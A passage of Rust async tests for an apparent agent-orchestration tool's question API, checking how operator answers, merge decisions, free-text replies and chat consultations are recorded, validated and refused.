13562        let _ = sent.unwrap();
13563        assert_eq!(
13564            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13565            Some("use fallback")
13566        );
13567    }
13568
13569    #[tokio::test]
13570    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13571        let fx = Fixture {
13572            home: TempDir::new().unwrap(),
13573            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13574        };
13575        for choice in [
13576            crate::land::HOLD,
13577            crate::land::REPAIR,
13578            crate::land::APPROVE,
13579            crate::merge_decision::WITHDRAW,
13580            "reimplement:beta",
13581        ] {
13582            let mut q = Question::new(
13583                "old-run".into(),
13584                crate::land::APPROVAL_NODE.into(),
13585                "land".into(),
13586                "Decision".into(),
13587                "Review findings".into(),
13588                vec![
13589                    "merge".into(),
13590                    "hold".into(),
13591                    crate::land::REPAIR.into(),
13592                    crate::merge_decision::WITHDRAW.into(),
13593                    "reimplement:beta".into(),
13594                ],
13595            );
13596            q.merge_target = Some(crate::merge_decision::Target {
13597                pr: "https://github.com/example/repo/pull/42".into(),
13598                head: "exact-reviewed-head".into(),
13599                language: "ja".into(),
13600            });
13601            q.consult = Some(ask::ChatConsult {
13602                talk: "another-conversation".into(),
13603                at: jiff::Timestamp::now(),
13604            });
13605            fx.questions().put(&mut q).unwrap();
13606            let ui = Arc::new(Ui::new(
13607                fx.queue(),
13608                fx.questions(),
13609                fx.talks(),
13610                fx.runs(),
13611                fx.home.path().into(),
13612                std::path::PathBuf::from("."),
13613            ));
13614            let response = question_answer(
13615                State(ui.clone()),
13616                Path(q.id.clone()),
13617                Ok(Json(NewAnswer {
13618                    choice: Some(choice.into()),
13619                    text: None,
13620                    ..Default::default()
13621                })),
13622            )
13623            .await
13624            .unwrap();
13625            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13626            let disk = fx.questions().get(&q.id).unwrap();
13627            assert_eq!(disk.merge_target, q.merge_target);
13628            assert_eq!(disk.consult, q.consult);
13629            assert_eq!(disk.resolution().as_deref(), Some(choice));
13630            assert!(
13631                question_answer(
13632                    State(ui),
13633                    Path(q.id.clone()),
13634                    Ok(Json(NewAnswer {
13635                        choice: Some("merge".into()),
13636                        text: None,
13637                        ..Default::default()
13638                    }))
13639                )
13640                .await
13641                .is_err(),
13642                "an already settled decision cannot turn into merge approval"
13643            );
13644        }
13645    }
13646
13647    #[tokio::test]
13648    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13649        let fx = Fixture {
13650            home: TempDir::new().unwrap(),
13651            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13652        };
13653        let mut state = crate::land::tests::repair_state(true, true);
13654        state.status = RunStatus::Landing;
13655        state.parked = true;
13656        state.driver_exited = true;
13657        let mut task = Task::new(
13658            "Existing PR owner".into(),
13659            state.instruction.clone(),
13660            state.repo.clone(),
13661            Source::Human,
13662        );
13663        task.runs.push(state.id.clone());
13664        task.status = TaskStatus::Parked;
13665        fx.queue().put(&mut task).unwrap();
13666        let mut q = Question::new(
13667            state.id.clone(),
13668            crate::land::APPROVAL_NODE.into(),
13669            "land".into(),
13670            "Contested merge".into(),
13671            "Original evidence".into(),
13672            vec!["merge".into(), "hold".into()],
13673        );
13674        state.land_approval = Some(crate::run::LandApproval {
13675            question: q.id.clone(),
13676            head: "reviewed-head".into(),
13677        });
13678        state.save_under(fx.home.path()).unwrap();
13679        fx.questions().put(&mut q).unwrap();
13680        // A later repair answer on this old card supersedes this manual hold.
13681        task.hold_manual(Some("Pause this PR".into()));
13682        fx.queue().put(&mut task).unwrap();
13683        // POST directly, without a preceding GET: validation must see the
13684        // same durable upgrade that the card, CLI and chat see.
13685        let ui = Arc::new(Ui::new(
13686            fx.queue(),
13687            fx.questions(),
13688            fx.talks(),
13689            fx.runs(),
13690            fx.home.path().to_path_buf(),
13691            state.repo.clone(),
13692        ));
13693        let response = question_answer(
13694            State(ui),
13695            Path(q.id.clone()),
13696            Ok(Json(NewAnswer {
13697                choice: Some(crate::land::REPAIR.into()),
13698                text: None,
13699                ..Default::default()
13700            })),
13701        )
13702        .await
13703        .unwrap();
13704        assert_eq!(response.0.question.id, q.id);
13705        let upgraded = fx.questions().get(&q.id).unwrap();
13706        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13707        assert!(upgraded.detail.starts_with("Original evidence"));
13708        let claim = fx.queue().claim(&task.id).unwrap();
13709        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13710        assert!(
13711            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13712            "an existing driver keeps its claim"
13713        );
13714        drop(claim);
13715        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13716        let resumed = fx.queue().get(&task.id).unwrap();
13717        assert_eq!(
13718            resumed
13719                .resume_override
13720                .as_ref()
13721                .unwrap()
13722                .pinned_run
13723                .as_deref(),
13724            Some(state.id.as_str())
13725        );
13726        assert!(resumed.status.runnable());
13727        assert_eq!(resumed.instruction, task.instruction);
13728        assert_eq!(resumed.runs, task.runs);
13729        assert!(resumed.action_applied(&q.id));
13730        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13731        assert_eq!(fx.queue().list().len(), 1);
13732        assert_eq!(
13733            fx.queue().get(&task.id).unwrap().resume_override,
13734            resumed.resume_override
13735        );
13736        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13737        assert!(
13738            disk.merge_repairs.is_empty(),
13739            "only the claimed run driver may execute repair"
13740        );
13741        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13742    }
13743
13744    #[tokio::test]
13745    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13746        let fx = Fixture::start().await;
13747        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13748        let path = format!("/api/questions/{id}/answer");
13749
13750        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13751        assert_eq!(res.status, 200, "{}", res.body);
13752        let body = res.json();
13753        assert_eq!(body["status"], "answered");
13754        assert_eq!(body["answer"]["choice"], "Redis");
13755
13756        // Answered from the terminal in between the list and the tap: the UI
13757        // must be able to tell this from a bad request, so it can show the
13758        // recorded answer instead of an error.
13759        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13760        assert_eq!(again.status, 409, "{}", again.body);
13761        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13762    }
13763
13764    #[tokio::test]
13765    async fn fresh_api_answers_survive_task_inquiry_migration() {
13766        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13767        for migrate_first in [false, true] {
13768            let fx = Fixture::start().await;
13769            let mut task = Task::new(
13770                "work".into(),
13771                "work".into(),
13772                PathBuf::from("/repo/magi"),
13773                Source::Human,
13774            );
13775            task.runs.push("run-a".into());
13776            fx.queue().put(&mut task).unwrap();
13777            let mut q = Question::new(
13778                "run-a".into(),
13779                "implement".into(),
13780                "impl-A".into(),
13781                "Keep held?".into(),
13782                String::new(),
13783                vec!["hold".into()],
13784            );
13785            q.actions.insert("hold".into(), ChoiceAction::Hold);
13786            fx.questions().put(&mut q).unwrap();
13787            if migrate_first {
13788                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13789            }
13790            let response = fx
13791                .post(
13792                    &format!("/api/questions/{}/answer", q.id),
13793                    Some(r#"{"choice":"hold"}"#),
13794                )
13795                .await;
13796            assert_eq!(response.status, 200, "{}", response.body);
13797            for _ in 0..2 {
13798                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13799                let source = fx.questions().get(&q.id).unwrap();
13800                assert_eq!(source.resolution().as_deref(), Some("hold"));
13801                let decision = Outbox::at(fx.home.path())
13802                    .get(&q.id)
13803                    .unwrap()
13804                    .decision
13805                    .unwrap();
13806                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13807                assert_eq!(decision.source_answer_at, source.answered_at);
13808                assert_eq!(decision.status, Status::Queued);
13809            }
13810            assert_eq!(
13811                fx.post(
13812                    &format!("/api/questions/{}/answer", q.id),
13813                    Some(r#"{"choice":"hold"}"#)
13814                )
13815                .await
13816                .status,
13817                409
13818            );
13819        }
13820    }
13821
13822    #[tokio::test]
13823    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13824        let home = tempfile::tempdir().unwrap();
13825        let ui = delta_test_ui(home.path());
13826        let mut q = Question::new(
13827            "task".into(),
13828            crate::land::APPROVAL_NODE.into(),
13829            "land".into(),
13830            "Explain?".into(),
13831            String::new(),
13832            vec!["hold".into()],
13833        );
13834        q.deputy = Some(ask::Deputy::new("context".into()));
13835        ui.questions.put(&mut q).unwrap();
13836        let mut cfg = stub_config();
13837        cfg.daemon.max_deputies = 0;
13838        let mut status = crate::daemon::Status::new();
13839        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13840        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13841        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13842        let error = question_say(
13843            State(ui.clone()),
13844            Path(q.id.clone()),
13845            Ok(Json(NewSay {
13846                body: "Explain the findings".into(),
13847            })),
13848        )
13849        .await
13850        .unwrap_err();
13851        assert_eq!(
13852            error.text_reason,
13853            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13854        );
13855        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13856
13857        let mut text = Question::new(
13858            "task".into(),
13859            "ask".into(),
13860            "operator".into(),
13861            "Which name?".into(),
13862            String::new(),
13863            vec![],
13864        );
13865        ui.questions.put(&mut text).unwrap();
13866        let Json(view) = question_answer(
13867            State(ui.clone()),
13868            Path(text.id.clone()),
13869            Ok(Json(NewAnswer {
13870                choice: None,
13871                text: Some("chosen name".into()),
13872                ..Default::default()
13873            })),
13874        )
13875        .await
13876        .unwrap();
13877        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13878        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13879    }
13880
13881    #[tokio::test]
13882    async fn question_text_handler_admission_without_transport() {
13883        let home = tempfile::tempdir().unwrap();
13884        let ui = delta_test_ui(home.path());
13885        let mut q = Question::new(
13886            "task".into(),
13887            crate::land::APPROVAL_NODE.into(),
13888            "land".into(),
13889            "May this PR merge?".into(),
13890            String::new(),
13891            vec!["hold".into()],
13892        );
13893        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13894        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13895        ui.questions.put(&mut q).unwrap();
13896        let say = || {
13897            Ok(Json(NewSay {
13898                body: "Explain the findings".into(),
13899            }))
13900        };
13901        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13902            .await
13903            .unwrap_err();
13904        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13905        let response = rejected.into_response();
13906        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13907            .await
13908            .unwrap();
13909        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13910        assert_eq!(body["code"], "question_text_unavailable");
13911        assert_eq!(body["reason"], "deputy_exhausted");
13912        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13913        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13914        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13915        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13916            .await
13917            .unwrap();
13918        assert_eq!(view.text_delivery.state, "live");
13919        assert!(view.question.waiter.is_none());
13920        assert!(view.question.cwd.is_none());
13921        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13922        ui.questions.drop_lease(&q.id);
13923        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13924            .await
13925            .unwrap_err();
13926        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13927        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13928        let _ = question_answer(
13929            State(ui.clone()),
13930            Path(q.id.clone()),
13931            Ok(Json(NewAnswer {
13932                choice: Some("hold".into()),
13933                text: None,
13934                ..Default::default()
13935            })),
13936        )
13937        .await
13938        .unwrap();
13939        assert_eq!(
13940            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13941            Some("hold")
13942        );
13943    }
13944
13945    #[tokio::test]
13946    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13947        let fx = Fixture::start().await;
13948        let store = fx.questions();
13949        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13950        store
13951            .update(&id, |q| {
13952                q.node = crate::land::APPROVAL_NODE.to_owned();
13953                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13954                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13955                Ok(())
13956            })
13957            .unwrap();
13958        let path = format!("/api/questions/{id}/say");
13959        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13960        assert_eq!(refused.status, 422, "{}", refused.body);
13961        assert!(
13962            refused.json()["error"]
13963                .as_str()
13964                .unwrap()
13965                .contains("deputy_exhausted")
13966        );
13967        assert!(store.get(&id).unwrap().thread.is_empty());
13968
13969        // A final live deputy is usable even with no ordinary waiter/cwd.
13970        store.beat(&id, ask::WaiterKind::Deputy);
13971        let view = fx.get("/api/questions").await.json();
13972        assert_eq!(view[0]["text_delivery"]["state"], "live");
13973        let accepted = fx
13974            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13975            .await;
13976        assert_eq!(accepted.status, 200, "{}", accepted.body);
13977        let before = std::fs::read(store.path_of(&id)).unwrap();
13978
13979        // The recipient exits between rendering and sending. Rejection must
13980        // preserve previously accepted text, the answer and delivery cursor.
13981        store.drop_lease(&id);
13982        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13983        assert_eq!(refused.status, 422, "{}", refused.body);
13984        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13985        let held = fx
13986            .post(
13987                &format!("/api/questions/{id}/answer"),
13988                Some(r#"{"choice":"hold"}"#),
13989            )
13990            .await;
13991        assert_eq!(held.status, 200, "{}", held.body);
13992        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13993    }
13994
13995    #[tokio::test]
13996    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13997        let repo = tempfile::tempdir().unwrap();
13998        let mut cfg = stub_config();
13999        cfg.daemon.max_deputies = 0;
14000        std::fs::write(
14001            repo.path().join("magi.toml"),
14002            toml::to_string(&cfg).unwrap(),
14003        )
14004        .unwrap();
14005        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14006        let mut status = crate::daemon::Status::new();
14007        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
14008        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
14009        let id = ask(&fx, "Explain?", &["hold"]);
14010        fx.questions()
14011            .update(&id, |q| {
14012                q.node = crate::land::APPROVAL_NODE.into();
14013                q.deputy = Some(ask::Deputy::new("context".into()));
14014                q.deputy.as_mut().unwrap().agent = "stub".into();
14015                Ok(())
14016            })
14017            .unwrap();
14018        cfg.daemon.max_deputies = 1;
14019        std::fs::write(
14020            repo.path().join("magi.toml"),
14021            toml::to_string(&cfg).unwrap(),
14022        )
14023        .unwrap();
14024        let view = fx.get("/api/questions").await.json();
14025        assert_eq!(view[0]["deputies_enabled"], true);
14026        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
14027        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
14028        let res = fx
14029            .post(
14030                &format!("/api/questions/{id}/say"),
14031                Some(r#"{"body":"Please explain"}"#),
14032            )
14033            .await;
14034        assert_eq!(res.status, 422, "{}", res.body);
14035        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
14036    }
14037
14038    #[tokio::test]
14039    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
14040        let fx = Fixture::start().await;
14041        let id = ask(&fx, "No seat", &[]);
14042        let store = fx.questions();
14043        let before = std::fs::read(store.path_of(&id)).unwrap();
14044        let res = fx
14045            .post(
14046                &format!("/api/questions/{id}/say"),
14047                Some(r#"{"body":"hello"}"#),
14048            )
14049            .await;
14050        assert_eq!(res.status, 422, "{}", res.body);
14051        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
14052        let res = fx
14053            .post(
14054                &format!("/api/questions/{id}/answer"),
14055                Some(r#"{"text":"hello"}"#),
14056            )
14057            .await;
14058        assert_eq!(res.status, 200, "{}", res.body);
14059        assert_eq!(
14060            store.get(&id).unwrap().resolution().as_deref(),
14061            Some("hello")
14062        );
14063    }
14064
14065    #[tokio::test]
14066    async fn saying_something_appends_a_turn_without_answering() {
14067        let fx = Fixture::start().await;
14068        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14069        fx.questions().beat(&id, ask::WaiterKind::Asker);
14070        let path = format!("/api/questions/{id}/say");
14071
14072        let res = fx
14073            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
14074            .await;
14075        assert_eq!(res.status, 200, "{}", res.body);
14076        let body = res.json();
14077        assert_eq!(body["status"], "open", "talking back is not a decision");
14078        assert_eq!(body["answer"], Value::Null);
14079        assert_eq!(body["thread"][0]["who"], "operator");
14080        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
14081        assert_eq!(body["waiting_on_agent"], true);
14082        // Still open, still counted, still exactly one question.
14083        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14084    }
14085
14086    #[tokio::test]
14087    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
14088        let fx = Fixture::start().await;
14089        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14090
14091        let list = fx.get("/api/questions").await.json();
14092        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
14093
14094        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
14095        assert_eq!(res.status, 409, "{}", res.body);
14096        let q = fx.questions().get(&id).unwrap();
14097        assert!(q.status.open());
14098        assert!(q.consult.is_none());
14099    }
14100
14101    #[tokio::test]
14102    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
14103        let fx = Fixture::start().await;
14104        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14105        let cfg = Config {
14106            agents: vec![crate::config::AgentSpec {
14107                id: "mock".to_owned(),
14108                kind: crate::config::AgentKind::Command,
14109                model: None,
14110                command: vec!["true".to_owned()],
14111                extra_args: Vec::new(),
14112                env: Default::default(),
14113                prompt_delivery: None,
14114                max_turn_secs: None,
14115            }],
14116            ..Config::default()
14117        };
14118        let talk = crate::talk::begin(
14119            &fx.talks(),
14120            &cfg,
14121            fx.home.path().to_path_buf(),
14122            Some("mock"),
14123        )
14124        .unwrap();
14125        let mut task = Task::new(
14126            "t".to_owned(),
14127            "Do it".to_owned(),
14128            PathBuf::from("/repo/magi"),
14129            Source::Agent {
14130                run: talk.id.clone(),
14131                node: crate::queue::CHAT_NODE.to_owned(),
14132            },
14133        );
14134        task.start("20260902-000000-beef".to_owned());
14135        fx.queue().put(&mut task).unwrap();
14136
14137        let list = fx.get("/api/questions").await.json();
14138        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
14139        assert_eq!(
14140            list[0]["choices"],
14141            serde_json::json!(["SQLite", "Redis"]),
14142            "the hand-over is never a choice"
14143        );
14144        fx.questions()
14145            .update(&id, |q| {
14146                q.node = crate::land::APPROVAL_NODE.into();
14147                q.choices = vec!["merge".into(), "hold".into()];
14148                Ok(())
14149            })
14150            .unwrap();
14151        let list = fx.get("/api/questions").await.json();
14152        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
14153        assert_eq!(list[0]["can_consult_chat"], true);
14154        fx.questions()
14155            .update(&id, |q| {
14156                q.node = crate::bump::NOTICE_NODE.into();
14157                Ok(())
14158            })
14159            .unwrap();
14160        let list = fx.get("/api/questions").await.json();
14161        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14162        assert_eq!(list[0]["can_consult_chat"], false);
14163    }
14164
14165    #[tokio::test]
14166    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
14167        let fx = Fixture::start().await;
14168        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14169        fx.questions()
14170            .update(&id, |q| {
14171                q.node = crate::land::APPROVAL_NODE.into();
14172                q.choices = vec!["merge".into(), "hold".into()];
14173                Ok(())
14174            })
14175            .unwrap();
14176        let cfg = Config {
14177            agents: vec![crate::config::AgentSpec {
14178                id: "mock".to_owned(),
14179                kind: crate::config::AgentKind::Command,
14180                model: None,
14181                command: vec!["true".to_owned()],
14182                extra_args: Vec::new(),
14183                env: Default::default(),
14184                prompt_delivery: None,
14185                max_turn_secs: None,
14186            }],
14187            ..Config::default()
14188        };
14189        // Not a git working tree, so its `magi.toml` is read from disk.
14190        let repo = fx.home.path().join("chat-repo");
14191        std::fs::create_dir_all(&repo).unwrap();
14192        let toml = repo.join("magi.toml");
14193        std::fs::write(&toml, "this is = = not toml").unwrap();
14194        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
14195        let mut task = Task::new(
14196            "t".to_owned(),
14197            "Do it".to_owned(),
14198            PathBuf::from("/repo/magi"),
14199            Source::Agent {
14200                run: talk.id.clone(),
14201                node: crate::queue::CHAT_NODE.to_owned(),
14202            },
14203        );
14204        task.start("20260902-000000-beef".to_owned());
14205        fx.queue().put(&mut task).unwrap();
14206
14207        let path = format!("/api/questions/{id}/consult");
14208        let res = fx.post(&path, None).await;
14209        assert!(res.status >= 400, "{}", res.body);
14210        assert!(fx.questions().get(&id).unwrap().consult.is_none());
14211        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
14212
14213        std::fs::write(&toml, "").unwrap();
14214        let res = fx.post(&path, None).await;
14215        assert_eq!(res.status, 202, "{}", res.body);
14216        assert!(fx.questions().get(&id).unwrap().consult.is_some());
14217        let q = fx.questions().get(&id).unwrap();
14218        assert!(q.status.open());
14219        assert!(q.answer.is_none());
14220        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
14221        assert_eq!(res.json()["can_consult_chat"], true);
14222        let list = fx.get("/api/questions").await.json();
14223        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14224        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
14225
14226        let res = fx
14227            .post(
14228                &format!("/api/questions/{id}/answer"),
14229                Some(r#"{"choice":"hold"}"#),
14230            )
14231            .await;
14232        assert_eq!(res.status, 200, "{}", res.body);
14233        assert_eq!(res.json()["answer"]["choice"], "hold");
14234        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
14235        assert_eq!(res.json()["can_consult_chat"], false);
14236        assert_eq!(fx.post(&path, None).await.status, 409);
14237
14238        let mut talk = fx.talks().get(&talk.id).unwrap();
14239        // This test closes the history view, not an unconsumed consultation.
14240        crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
14241        crate::talk::close(&mut talk, &fx.talks()).unwrap();
14242        let list = fx.get("/api/questions").await.json();
14243        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14244        assert_eq!(list[0]["origin_chat_closed"], true);
14245        assert_eq!(list[0]["can_consult_chat"], false);
14246
14247        fx.talks().remove(&talk.id).unwrap();
14248        let list = fx.get("/api/questions").await.json();
14249        assert_eq!(list[0]["origin_chat"], Value::Null);
14250        assert_eq!(list[0]["origin_chat_closed"], false);
14251        assert_eq!(list[0]["can_consult_chat"], false);
14252    }
14253
14254    #[tokio::test]
14255    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
14256        let fx = Fixture::start().await;
14257        let store = fx.questions();
14258        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14259        store.beat(&id, ask::WaiterKind::Asker);
14260        assert_eq!(
14261            fx.get("/api/health").await.json()["questions_needs_owner"],
14262            1
14263        );
14264
14265        // The owner asks back instead of deciding: the ask bar, the nav badge
14266        // and the title must stop naming this question, because there is
14267        // nothing to decide until the agent answers - `status` alone cannot
14268        // say that, which is the whole reason `questions_needs_owner` exists
14269        // alongside `questions_open`.
14270        let res = fx
14271            .post(
14272                &format!("/api/questions/{id}/say"),
14273                Some(r#"{"body":"why not Postgres?"}"#),
14274            )
14275            .await;
14276        assert_eq!(res.status, 200, "{}", res.body);
14277        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14278        assert_eq!(
14279            fx.get("/api/health").await.json()["questions_needs_owner"],
14280            0,
14281            "waiting on the agent is not waiting on the owner"
14282        );
14283
14284        // `magi ask --thread` replying is what brings the owner count back -
14285        // the same event that would resume the CLI call blocked in `magi
14286        // ask`.
14287        let mut q = store.get(&id).expect("get");
14288        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
14289            .expect("reply");
14290        store.put(&mut q).expect("put");
14291        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14292        assert_eq!(
14293            fx.get("/api/health").await.json()["questions_needs_owner"],
14294            1,
14295            "the agent's reply is what should light the banner back up"
14296        );
14297    }
14298
14299    #[tokio::test]
14300    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
14301        let fx = Fixture::start().await;
14302        let store = fx.questions();
14303
14304        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14305        let res = fx
14306            .post(
14307                &format!("/api/questions/{empty_id}/say"),
14308                Some(r#"{"body":"   "}"#),
14309            )
14310            .await;
14311        assert_eq!(res.status, 400, "{}", res.body);
14312
14313        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14314        let mut answered = store.get(&answered_id).expect("get");
14315        answered
14316            .answer(Answer::Choice("SQLite".to_owned()))
14317            .expect("answer");
14318        store.put(&mut answered).expect("put");
14319        let res = fx
14320            .post(
14321                &format!("/api/questions/{answered_id}/say"),
14322                Some(r#"{"body":"still there?"}"#),
14323            )
14324            .await;
14325        assert_eq!(res.status, 409, "{}", res.body);
14326
14327        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14328        let mut abandoned = store.get(&abandoned_id).expect("get");
14329        abandoned.abandon("timed out");
14330        store.put(&mut abandoned).expect("put");
14331        let res = fx
14332            .post(
14333                &format!("/api/questions/{abandoned_id}/say"),
14334                Some(r#"{"body":"still there?"}"#),
14335            )
14336            .await;
14337        assert_eq!(res.status, 409, "{}", res.body);
14338    }
14339
14340    #[tokio::test]
14341    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
14342        let fx = Fixture::start().await;
14343        let questions = fx.questions();
14344        let mut q = Question::new(
14345            String::new(),
14346            crate::bump::NOTICE_NODE.into(),
14347            "release-watch".into(),
14348            "Release PR approval".into(),
14349            "Saved head".into(),
14350            vec!["merge".into(), "hold".into()],
14351        );
14352        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
14353        q.merge_target = Some(crate::merge_decision::Target {
14354            pr: "https://example.test/mebae/pull/100".into(),
14355            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
14356            language: "en".into(),
14357        });
14358        q.answer(Answer::Choice("merge".into())).unwrap();
14359        q.answer_delivered = true;
14360        questions.put(&mut q).unwrap();
14361        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
14362        std::fs::create_dir_all(&dir).unwrap();
14363        std::fs::write(
14364            dir.join("state.json"),
14365            serde_json::to_vec(&serde_json::json!({
14366                "schema": 1, "sources": [q.id], "pending": [q.id]
14367            }))
14368            .unwrap(),
14369        )
14370        .unwrap();
14371        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
14372        for migrated in [false, true] {
14373            if migrated {
14374                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
14375            }
14376            for endpoint in ["/api/questions", "/api/questions/core"] {
14377                let response = fx.get(endpoint).await;
14378                assert_eq!(response.status, 200);
14379                let rows = response.json();
14380                let row = rows
14381                    .as_array()
14382                    .unwrap()
14383                    .iter()
14384                    .find(|r| r["id"] == q.id)
14385                    .unwrap();
14386                assert_eq!(row["status"], "answered");
14387                assert_eq!(row["answer"]["choice"], "merge");
14388                assert_eq!(row["can_answer"], false);
14389                assert_eq!(row["history_only"], true);
14390            }
14391            let answer = fx
14392                .post(
14393                    &format!("/api/questions/{}/answer", q.id),
14394                    Some(r#"{"choice":"merge"}"#),
14395                )
14396                .await;
14397            assert_eq!(answer.status, 409, "{}", answer.body);
14398            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
14399        }
14400    }
14401
14402    #[tokio::test]
14403    async fn an_answer_the_question_does_not_offer_is_refused() {
14404        let fx = Fixture::start().await;
14405        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14406        let path = format!("/api/questions/{id}/answer");
14407
14408        for body in [
14409            r#"{"choice":"Postgres"}"#,
14410            r#"{"text":"whatever you think"}"#,
14411            r#"{"choice":"Redis","text":"both"}"#,
14412            r#"{}"#,
14413        ] {
14414            let res = fx.post(&path, Some(body)).await;
14415            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
14416            assert!(res.json()["error"].is_string(), "{}", res.body);
14417        }
14418        // Nothing above may have answered it.
14419        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14420    }
14421
14422    #[tokio::test]
14423    async fn a_free_text_question_takes_text_and_not_a_choice() {
14424        let fx = Fixture::start().await;
14425        let id = ask(&fx, "What should the flag be called?", &[]);
14426        fx.questions().beat(&id, ask::WaiterKind::Asker);
14427        let path = format!("/api/questions/{id}/answer");
14428
14429        assert_eq!(
14430            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
14431            400
14432        );
